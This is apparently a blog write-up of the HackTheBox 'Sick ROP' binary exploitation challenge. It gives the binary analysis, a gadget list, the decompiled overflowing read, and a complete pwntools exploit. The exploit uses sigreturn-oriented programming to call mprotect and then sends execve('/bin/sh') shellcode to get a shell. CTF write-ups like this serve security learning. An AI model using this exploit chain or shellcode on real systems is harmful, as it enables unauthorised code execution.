title: HTB-Sick_ROP
date: 2023-12-13 19:04:07
categories: HTB
tags: PWN
Sick ROP
常规套路检查
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
使用strings
rop.asm
read
write
vuln
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text
发现貌似没有什么可利用的点
本地运行调试发现我输出什么他就会照样输出
是静态的话我们使用ROPgadget --binary sick_rop --ropchain
0x0000000000401012 : and al, 0x10 ; syscall
0x000000000040100d : and al, 8 ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x0000000000401044 : call qword ptr [rax + 0x41]
0x000000000040104c : dec ecx ; ret
0x000000000040100c : je 0x401032 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401023 : je 0x401049 ; or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401054 : jmp 0x40104f
0x000000000040104d : leave ; ret
0x0000000000401010 : mov edx, dword ptr [rsp + 0x10] ; syscall
0x000000000040100b : mov esi, dword ptr [rsp + 8] ; mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100f : mov rdx, qword ptr [rsp + 0x10] ; syscall
0x000000000040100e : or byte ptr [rax - 0x75], cl ; push rsp ; and al, 0x10 ; syscall
0x0000000000401011 : push rsp ; and al, 0x10 ; syscall
0x0000000000401016 : ret
0x0000000000401049 : retf 0xffff
0x0000000000401014 : syscall
然后拖入ida发现就4个功能,第一次碰到
void __fastcall __noreturn start(int a1, int a2, int a3, int a4, int a5, int a6)
{
while ( 1 )
vuln(a1, a2, a3, a4, a5, a6);
}
启动写了一个死循环一直调用vuln
而vuln模块的话
__int64 __fastcall vuln(int a1, int a2, int a3, int a4, int a5, int a6)
{
size_t v6; // rax
int v7; // edx
int v8; // ecx
int v9; // er8
int v10; // er9
const char *v11; // r10
char v13[32]; // [rsp+0h] [rbp-20h] BYREF
v6 = read(a1, a2, a3, a4, a5, a6, v13, 0x300uLL);
return write(a1, a2, v7, v8, v9, v10, v11, v6);
}
调用了read和write函数,
这个时候构造成srop
exp
from pwn import *
elf = ELF('./sick_rop')
if args.R:
p = remote("*.*.*.*",30479)
else:
p = elf.process()
context.clear(arch='amd64')
context.log_level = 'debug'
syscall_ret = 0x401014
read = 0x401000
writable = 0x400000
new_ret = 0x400018
vuln = elf.sym.vuln
payload = b'A'*40 # to our offset
payload += p64(vuln)
payload += p64(syscall_ret)
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0xa # syscall for mprotect()
frame.rdi = writable
frame.rsi = 0x4000
frame.rdx = 0x7 # rwx (read ,write , execute)
frame.rsp = 0x4010d8 # this will be our new stack kind of ie addr 0x400...
frame.rip = syscall_ret
payload += bytes(frame) # fake sigreturnframe
# sending
p.sendline(payload)
p.recv()
payload = b'B'* (0xf - 1 ) # sigret 15 syscall
p.sendline(payload)
p.recv()
# shellcode
shell_code = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
payload = shell_code.ljust(40, b'A')
payload += p64(0x4010b8)
log.info('[*] Sending second stage payload with {} bytes ...'.format(len(payload)))
p.sendline(payload)
p.interactive()